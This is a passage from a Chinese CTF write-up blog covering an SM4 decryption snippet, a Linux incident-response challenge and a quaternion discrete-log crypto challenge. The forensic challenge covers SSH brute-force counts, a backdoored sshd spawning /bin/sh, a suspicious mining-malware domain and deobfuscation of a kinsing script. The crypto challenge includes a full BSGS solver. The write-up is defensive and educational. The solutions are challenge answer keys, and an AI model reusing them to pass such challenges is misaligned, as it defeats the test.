        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }

    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);

$ciphertext = base64_decode("VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu");

$plaintext = $sm4->decrypt($ciphertext);
echo $plaintext; // 输出 flag
} catch (exception $e) {
    echo $e->getmessage() ;
}
?>

SilentMiner

  1. 攻击者的ip地址
  2. 攻击者共进行多少次ssh口令爆破失败?
  3. 后门文件路径的绝对路径
  4. 攻击者用户分发恶意文件的域名(注意系统时区)
  5. 挖矿病毒所属的家族(全小写)

redemail有两个.e01文件,读不了挂不了,服了

直接看dd

image

​192.168.145.131​为ssh发出地址

​kpart​挂载dd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ sudo kpartx -av ./disk.dd
[sudo] nan0in27 的密码:
add map loop0p1 (254:0): 0 1048576 linear 7:0 2048
add map loop0p2 (254:1): 0 2 linear 7:0 1052670
add map loop0p5 (254:2): 0 40888320 linear 7:0 1052672


❯ sudo mount /dev/mapper/loop0p2 /mnt/temp_disk2

❯ sudo mount /dev/mapper/loop0p5 /mnt/temp_disk2

然后进入到temp_disk2查看

​/var/log/auth.log​

image

可以看到有大量的failed爆破,我们grep出数量

image

​258​

不知道为什么只有257,少了1行

image

发现有个执行了exec “/bin/sh"​指令的,进去看看

image

确实是后门

​/usr/sbin/sshd​

image

发现有dnsmasq.log,印象中是作为服务器的,看看日志

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
❯ sudo grep "query\[" ./dnsmasq.log | awk '{print $6}' | sort -u
a.sinaimg.cn
aus5.mozilla.org
ax.ifeng.com
baidu.com
c0.ifengimg.com
changelogs.ubuntu.com
cm.adxvip.com
cm.fastapi.net
cn.bing.com
connectivity-check.ubuntu.com
console.zhibo.ifeng.com
content-signature-2.cdn.mozilla.net
contile.services.mozilla.com
cook.iqiyi.com
cpro.baidustatic.com
cstaticdun.126.net
daisy.ubuntu.com
datahub.zhihu.com
data.video.iqiyi.com
detectportal.firefox.com
dfp-business.iqiyi.com
d.ifengimg.com
d.sinaimg.cn
dsp.djc888.cn
eclick.baidu.com
err.ifengcloud.ifeng.com
example.org
f10.baidu.com
fc4tn.baidu.com
firefox.settings.services.mozilla.com
f.video.weibocdn.com
google.com
h5.sinaimg.cn
hm.baidu.com
_https._tcp.mirrors.tuna.tsinghua.edu.cn
img.ifeng.com
incoming.telemetry.mozilla.org
ipv4only.arpa
i.sso.sina.com.cn
login.sina.com.cn
lupic.cdn.bcebos.com
mesh.if.iqiyi.com
m.iqiyipic.com
mirrors.tuna.tsinghua.edu.cn
msg.qy.net
ocsp.dcocsp.cn
ocsp.digicert.cn
ocsp.digicert.com
ocsp.globalsign.com
ocsp.sectigochina.com
ocsp.trust-provider.cn
opencdnh3.jomodns.com
o.pki.goog
p0.ifengimg.com
p1.ifengimg.com
passport.weibo.com
pdb.5hte21mz.com
pic0.iqiyipic.com
pic1.iqiyipic.com
pic2.iqiyipic.com
pic2.zhimg.com
pic3.iqiyipic.com
pic3.zhimg.com
pic4.iqiyipic.com
pic5.iqiyipic.com
pic6.iqiyipic.com
pic7.iqiyipic.com
pic8.iqiyipic.com
pic9.iqiyipic.com
pica.zhimg.com
picx.zhimg.com
pos.baidu.com
push.services.mozilla.com
region.ifeng.com
render-server.cdn.bcebos.com
revive.outin.cn
safebrowsing.googleapis.com
s.cpro.baidu.com
security.iqiyi.com
services.addons.mozilla.org
shankapi.ifeng.com
simg.s.weibo.com
stadig.ifeng.com
static-d.iqiyi.com
static.geetest.com
static.iqiyi.com
static.outin.cn
static-s.iqiyi.com
static.zhihu.com
status.geotrust.com
stc.iqiyipic.com
support.mozilla.org
t7z.cupid.iqiyi.com
tombaky.com
tvax1.sinaimg.cn
tvax2.sinaimg.cn
tvax3.sinaimg.cn
tvax4.sinaimg.cn
unpkg.zhimg.com
weibo.com
wn.pos.baidu.com
www.baidu.com
www.ctrip.com
www.ifeng.com
www.iqiyi.com
www.zhihu.com
wx1.sinaimg.cn
wx3.sinaimg.cn
wx4.sinaimg.cn
x0.ifengimg.com
x2.ifengimg.com
y0.ifengimg.com
y1.ifengimg.com
zerossl.ocsp.sectigo.com
zhihu-web-analytics.zhihu.com

​tombaky.com​和pdb.5hte21mz.com​比较可疑

​tombaky.com​是对的,直接从127.0.0.1访问

image

image

实在找不到了,strings发现有一个连接记录,看看十六进制

image

发现一堆十六进制,拿出来看看

是一个混淆的bash脚本,我们把eval改成echo以后运行,拿到cyberchef进行base64解码

image

​kinsing​

crypto

newtrick

思路

  • 出题人把一个 离散对数问题 包装在「Quaternion 四元数运算」里,障眼法而已。

  • 实际上就是要求解:

    Q^{secret} \equiv R \pmod p

    然后 secret​ 用来生成 AES 的密钥。

  • 明文:

    1
    2
    3
    
    key = md5(str(secret).encode()).hexdigest().encode()
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(flag, 16))
    

如果 secret​ 是普通大整数不可约群,离散对数问题是不可解的。
但是题目明确限制:

1
assert secret < 2**50

解法

  • Baby-step Giant-step (BSGS) → 级别,大约 3300 万次运算,可行。
  • Pollard’s Rho 也行(复杂度相同),但是需要仔细处理群结构随机性。

实际问题

  • 一开始跑,原始 BSGS 失败的原因:用了 quaternion 但没写 inverse​,导致 giant-step 不对,secret跑不出来并且填充也不对

  • 修复方法:补上 quaternion 的逆元计算:

    • 四元数 的逆为:

      Q^{-1} = \frac{(a, -b, -c, -d)}{a^2+b^2+c^2+d^2} \pmod p

  • 有了 inverse​,BSGS 就正常运行,可以成功找到 secret​。

最终步骤

  1. 修复 quaternion mul 和 inverse

  2. 实现 BSGS

  3. 找到 secret​

  4. 生成 AES key:

    1
    
    key = md5(str(secret).encode()).hexdigest().encode()
    
  5. 用 AES-ECB 解密 ciphertext​,得到 flag​

脚本(ai梭哈):

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from math import isqrt


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"

p = 115792089237316195423570985008687907853269984665640564039457584007913129639747

Q_components = (123456789, 987654321, 135792468, 864297531)

R_components = (
    53580504271939954579696282638160058429308301927753139543147605882574336327145,
    79991318245209837622945719467562796951137605212294979976479199793453962090891,
    53126869889181040587037210462276116096032594677560145306269148156034757160128,
    97368024230306399859522783292246509699830254294649668434604971213496467857155
)

ciphertext = b'(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-\xf4\xd72\x14BB\x1e\xdc\xb7\xb7\xd1\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\xd6\x87\x82H\x9e'

class Quaternion:
    def __init__(self, a, b, c, d):
        self.a = a % p
        self.b = b % p
        self.c = c % p
        self.d = d % p

    def __eq__(self, other):
        return (self.a, self.b, self.c, self.d) == (other.a, other.b, other.c, other.d)

    def __hash__(self):
        return hash((self.a, self.b, self.c, self.d))

    def __repr__(self):
        return f"Q({self.a}, {self.b}, {self.c}, {self.d})"

    def __mul__(self, other):
        a1, b1, c1, d1 = self.a, self.b, self.c, self.d
        a2, b2, c2, d2 = other.a, other.b, other.c, other.d
        return Quaternion(
            (a1*a2 - b1*b2 - c1*c2 - d1*d2) % p,
            (a1*b2 + b1*a2 + c1*d2 - d1*c2) % p,
            (a1*c2 - b1*d2 + c1*a2 + d1*b2) % p,
            (a1*d2 + b1*c2 - c1*b2 + d1*a2) % p
        )

    def pow(self, e):
        res = Quaternion(1, 0, 0, 0)
        base = self
        while e > 0:
            if e & 1:
                res = res * base
            base = base * base
            e >>= 1
        return res

# ======================
# 计算 quaternion 的逆元
# ======================

def quat_inverse(Q):
    # norm = a^2+b^2+c^2+d^2
    norm = (Q.a*Q.a + Q.b*Q.b + Q.c*Q.c + Q.d*Q.d) % p
    inv_norm = pow(norm, -1, p)
    return Quaternion(
        (Q.a * inv_norm) % p,
        (-Q.b * inv_norm) % p,
        (-Q.c * inv_norm) % p,
        (-Q.d * inv_norm) % p
    )

# ======================
# BSGS 求离散对数
# ======================

def bsgs(Q, R, bound):
    m = isqrt(bound) + 1

    # baby steps
    table = {}
    cur = Quaternion(1, 0, 0, 0)
    for j in range(m):
        table[(cur.a, cur.b, cur.c, cur.d)] = j
        cur = cur * Q

    # giant steps
    Qm_inv = quat_inverse(Q.pow(m))

    cur = R
    for i in range(m+1):
        key = (cur.a, cur.b, cur.c, cur.d)
        if key in table:
            return i*m + table[key]
        cur = cur * Qm_inv
    return None


if __name__ == "__main__":
    Q = Quaternion(*Q_components)
    R = Quaternion(*R_components)

    print("[*] Running BSGS to recover secret...")
    secret = bsgs(Q, R, 2**50)

    if secret is None:
        print("[-] Failed to find secret...")
    else:
        print("[+] Found secret =", secret)

        # AES 解密
        key = md5(str(secret).encode()).hexdigest().encode()  # 32字节
        cipher = AES.new(key, AES.MODE_ECB)
        flag = unpad(cipher.decrypt(ciphertext), 16)
        print(CLEAR_TEXT(f"[+] Flag = {flag.decode()}"))

image

本博客已稳定运行
发表了49篇文章 · 总计17万0千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...